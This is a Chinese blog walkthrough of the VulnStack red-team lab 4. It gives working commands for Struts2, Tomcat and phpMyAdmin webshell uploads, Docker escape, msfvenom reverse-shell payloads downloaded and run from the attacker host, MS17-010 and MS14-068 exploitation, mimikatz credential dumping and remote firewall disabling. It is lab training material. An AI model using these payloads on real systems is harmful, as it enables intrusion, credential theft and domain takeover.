VulnStack&ATT红队实战四


环境搭建

strusts漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透

下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

网卡配置我配的是这两个

image-20230812202619560

给web配

image-20230812195456996

给win7和DC配置的都是VMnet5

初始密码

web: ubuntu:ubuntu
win7: douser:Dotest123
DC: administrator:Test2008

但是DC的密码过期了需要自己改下

攻击机:kali 192.168.10.128
web: ubuntu 192.168.10.130
            192.168.183.131
win7: 192.168.183.129
DC :  192.168.183.130

Web服务器为ubuntu,漏洞需要我们手动开启

s2-045
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
CVE-2017-12615(tomcat put上传)
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cve-2018-12613(phpmyadmin文件包含漏洞)
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

外网渗透

信息收集

端口扫描

nmap -T4 -A 192.168.10.129

image-20230813124139317

开放了

22 ssh
2001 struts2
2002 tomcat
2003 phpmyadmin

漏洞利用

struts2

image-20230813142218373

访问之后是一个文件上传

使用脚本扫描一下:https://github.com/Abs1n7he/Struts2scan

发现存在漏洞

然后直接利用工具上传webshell

image-20230813151350992

上传webshell

image-20230813153005855

蚁剑连接getshell

image-20230813153056845

tomcat

搜8.5.19会有这个版本的漏洞

本来想找工具直接用的,但是没有找到好用的工具

手上shell

先抓包,然后改为PUT方式上传木马

image-20230813155247442

上传php的码但是不能用

然后上传jsp的码,但是上传不能成功,需要进行绕过 /绕过 文件流绕过 ……

image-20230813160745766

蚁剑连接getshell

image-20230813160836153

phpmyadmin

可以我参考我前面文章的phpmyadmin getshell姿势

https://f14g-orz.github.io/2023/07/27/phpmyadmin%E5%90%8E%E5%8F%B0mysqlgetshell%E5%A7%BF%E5%8A%BF/

发现文章里的方法都不可以,是因为用户的权限太低

image-20230813162845539

发现版本 4.8.1

搜索phpmyadmin 4.81,发现这个版本有一个 CVE-2018-12613

有以下三种利用方式:

  • 任意文件包含

需要先在根目录下创建一个文件,内容随意写入

然后访问,就能访问到文件的内容

?target=db_datadict.php%253f/../../../../../../../../cc.txt
  • 任意代码执行

先查看当前数据库的路径,创建数据表f14g,表值是

show global variables like "%datadir%";
CREATE TABLE f14g(code varchar(100));
INSERT INTO f14g(code) VALUES("<?php @eval(POST['f14g']); ?>");

image-20230813164355580

image-20230813170003053

f14g=phpinfo();&?target=db_sql.php%253f/../../../../../../var/lib/mysql/test/f14g.frm

但是我这里没有成功

  • session文件包含

先在数据库执行sql语句 SELECT ‘‘;

这样这个查询语句就写入了session,也就是将 可执行代码 phpinfo();写入了session中

image-20230814105459181

session的文件名为sess_+sessionid. session路径的视环境而定

php生成session时,会生成在/tmp目录下,且以sess_开头

payload

?target=db_datadict.php%253f../../../../../../../../../../tmp/sess_dfb5475880cfc82ea881acccaa0942a7

可以看到成功执行

然后再写入php一句话木马

select "<?php @eval(GET['f14g']);?>";
?target=db_datadict.php%253f../../../../../../../../../../tmp/sess_dfb5475880cfc82ea881acccaa0942a7&f14g=ls

我们虽然getshell了,但是通过使用命令发现好多命令都不可以使用,我们得到的shell是个不完整的shell

docker逃逸

判断根目录下是否含有.dockerenv文件

ls /.dockerenv

查看系统进程的cgroup信息是否存在docker字符串

cat /proc/1/cgroup
或
cat /proc/self/cgroup

image-20230814163134504

而且还有很多命令不能使用

利用特权模式逃逸

Docker 高危启动参数 – privileged 特权模式启动容器 当操作者执行docker run –privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

查看磁盘文件 fdisk -l
建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/sda1 /test
切换根目录:chroot /test
到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 ssh 了。

image-20230814165607114

cd /test/home/ubuntu/.ssh
cat id_rsa
复制id_rsa的内容

image-20230814171436394

vim id_rsa
# 将其复制进来保存退出
sss
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# 得到密码ubuntu
ssh ubuntu@192.168.10.130

到这里应该会得出web主机的密码,但是我这里没有出我就直接用了(ubuntu)

ssh ubuntu@192.168.10.130

输入密码连接成功

image-20230814183927840

切换成root

image-20230814184106473

docker逃逸可以参考

https://www.cnblogs.com/hellobao/articles/17248614.html

https://blog.csdn.net/woodwhale/article/details/129815797

获取web主机权限

getshell之后通过通过上线msf获取主机权限

生成木马

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.128 lport=1111 -f elf > shell.elf

开启web服务

python -m http.server 80

长传到Ubuntu上

wget http://192.168.10.128/shell.elf

image-20230814200358625

设置监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.10.128
set lport 1111
run

把生成的木马上传并赋予权限执行

chmod  777 shell.elf
./shell.elf

image-20230814160232463

赋予权限并执行

image-20230814200657923

然后就拿到了meterpreter

image-20230814201135319

内网渗透

内网信息收集

查看路由

run get_local_subnets

image-20230814201617650

可以确定183网段即为内网网段

然后我们需要配置代理扫描内网存活主机以及开放端口

添加路由

run autoroute -s 192.168.183.0/24
run autoroute -p

然后直接扫描内网存活的主机

for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

image-20230815114112047

发现有三个存活主机 131那个是Ubuntu的

说明还有两个其他的主机

配置代理

kali攻击机上开启web服务

python -m http.server 80

然后把kali上的frp上传到Ubuntu上

wget http://192.168.10.128/frp_0.51.3_linux_amd64.tar.gz
tar -zxvf frp_0.51.3_linux_amd64.tar.gz

image-20230815145227109

在kali上配置frps.ini,并开启frps

image-20230815145347505

在Ubuntu上配置frpc.ini,并开启frpc

image-20230817093729290

在proxychains的配置文件也端口也改为 7777

然后对这两台机器进行端口扫描

proxychains nmap 192.168.183.129 -Pn -T4 -sV

image-20230815151214592

是台win7

proxychains nmap 192.168.183.130 -Pn -T4 -sV

image-20230815151837470

发现两台机器都开放445端口,利用msf自带模块检测是否含有ms17_010

拿下内网主机

msfconsole
setg proxies socks5:127.0.0.1:7777
search ms17_010
use 3
set rhosts 192.168.183.129
run

image-20230815155338452

set rhosts 192.168.183.130
run

image-20230815162215418

然后用ms17_010打

msfconsole
setg proxies socks5:127.0.0.1:7777
search ms17_010
use 0
set rhosts 192.168.183.129
set payload windows/x64/meterpreter/bind_tcp
run

image-20230816175948766

成功拿到meterpreter,129这台win算是拿下(但是攻击2次才成功)

但是用ms17_010打 130的机子没有打成功应该是开了防火墙

横向移动

信息收集

首先进入shell,收集一些信息

image-20230816180832494

用chcp 65001解除乱码

net view

image-20230816190843263

发现有两台机子,win7我们已经拿下

可以ping一下另一台机子

ping WIN-ENS2VR5TR3N

image-20230816191048839

发现该机子就是130那台机子

攻击130

然后查看电脑上都有什么文件

image-20230816191555517

发现一堆好东西

先用mimikatz抓取密码

mimikatz.exe
sekurlsa::logonpasswords

image-20230816192041713

username:douser
password:Dotest123
domain:DEMO.COM
SID: S-1-5-21-979886063-1111900045-1414766810-1107

然后利用已有的ms14_068,拿到生成TGT票据

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

image-20230816193305293

kerberos::purge   #清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list    #查看当前机器凭证
kerberos::ptc TGT_douser@demo.com.ccache  #<上图中生成的票据文件>将票据注入到内存中

image-20230816195319244

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

image-20230816195449091

可以看到已经访问到WIN-ENS2VR5TR3N文件了,然后可以把木马传到WIN-ENS2VR5TR3N机子上

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.111.128 lport=6666 -f exe > hack.exe

先把hack.exe上传到win7

upload /home/kali/Desktop/msf/hack.exe C:\\Users\\douser\\Desktop

image-20230816210001885

然后再把hack.exe上传到WIN-ENS2VR5TR3N

copy hack.exe \\WIN-ENS2VR5TR3N\c$
dir \\WIN-ENS2VR5TR3N\c$

发现已经上传成功

先关闭130机子的防火墙

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

image-20230817113420072

在kali上设置监听

setg proxies socks5:127.0.0.1:7777
use exploit/multi/handler
set lport 6666
set rhost 192.168.183.130
run

利用sc创建服务来执行木马文件

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\hack.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

拿到meterpreter

image-20230817113636323

但是由于开始代理meterpreter很容易断,争分夺秒的读取密码

load kiwi
kiwi_cmd sekurlsa::logonpasswords

image-20230817114646851

username:administrator
domain:DEMO
password:asdASD123!@#

然后通过nmap扫描发现3389端口没开

通过注册表的方式打开

image-20230817140954194

发现3389已经打开

image-20230817141028356

然后尝试远程连接

rdesktop 192.168.183.130
DEMO\administrator
asdASD123!@#

image-20230817141314560

连接成功,成功打穿

参考文章:

https://blog.csdn.net/zy15667076526/article/details/116059592?spm=1001.2014.3001.5502


文章作者: f14g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 f14g !
评论
  目录